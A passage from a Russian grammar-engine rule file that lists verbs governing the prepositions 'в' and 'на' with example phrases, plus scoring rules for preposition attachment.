rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
